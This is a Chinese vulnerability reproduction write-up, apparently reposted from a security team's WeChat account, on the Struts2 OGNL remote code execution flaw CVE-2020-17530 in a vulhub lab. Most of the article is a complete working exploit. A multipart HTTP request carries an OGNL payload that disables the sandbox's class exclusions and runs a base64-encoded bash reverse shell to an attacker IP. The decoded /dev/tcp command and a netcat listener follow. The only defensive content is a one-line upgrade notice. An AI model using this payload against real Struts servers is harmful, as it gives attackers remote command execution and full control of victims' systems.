前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-17530:Struts2远程代码执行漏洞复现

CVE-2020-17530:Struts2远程代码执行漏洞复现

作者头像
Timeline Sec
发布2021-01-18 11:23:22
2.1K0
发布2021-01-18 11:23:22
举报
文章被收录于专栏:Timeline SecTimeline Sec

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

0x02 漏洞概述

漏洞编号CVE-2020-17530

CVE-2020-17530是对CVE-2019-0230的绕过,Struts2官方对CVE-2019-0230的修复方式是加强OGNL表达式沙盒,而CVE-2020-17530绕过了该沙盒。

在特定的环境下,远程攻击者通过构造恶意的OGNL表达式,可造成任意代码执行。

0x03 影响版本

Struts 2.0.0 – Struts 2.5.25

0x04 环境搭建

这里用的vulhub环境一键搭建

执行如下命令启动一个Struts2 2.5.25版本环境

代码语言:javascript
复制
https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/

1、启动Struts 2.5.25环境:

代码语言:javascript
复制
docker-compose up -d

2、环境启动后,访问查看首页

代码语言:javascript
复制
http://target-ip:8080/index.action

0x05 漏洞复现

1、发送如下数据包,即可执行反弹shell命令:

代码语言:javascript
复制
POST /index.action HTTP/1.1 
Host:192.168.20.129:8080 
Accept-Encoding: gzip, deflate 
Accept: */* 
Accept-Language:en 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF 
Content-Length: 922  
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id" 

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

2、这里为反弹shell命令:

代码语言:javascript
复制
(#arglist.add("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute"))

进行linux反弹shell命令:

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.20.128/66660>&1(PS:反弹shell涉及到管道符问题于是要将命令进行base64编码)

base64在线编码:

http://www.jackson-t.ca/runtime-exec-payloads.html

3、在攻击机监听本地端口:

代码语言:javascript
复制
nc -lvvp 6666

运行脚本成功反弹回shell

0x06 修复建议

Struts官方已经发布了新版本修复了上述漏洞,请受影响的用户尽快升级进行防护。

代码语言:javascript
复制
参考链接:

https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
  • 漏洞编号CVE-2020-17530
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档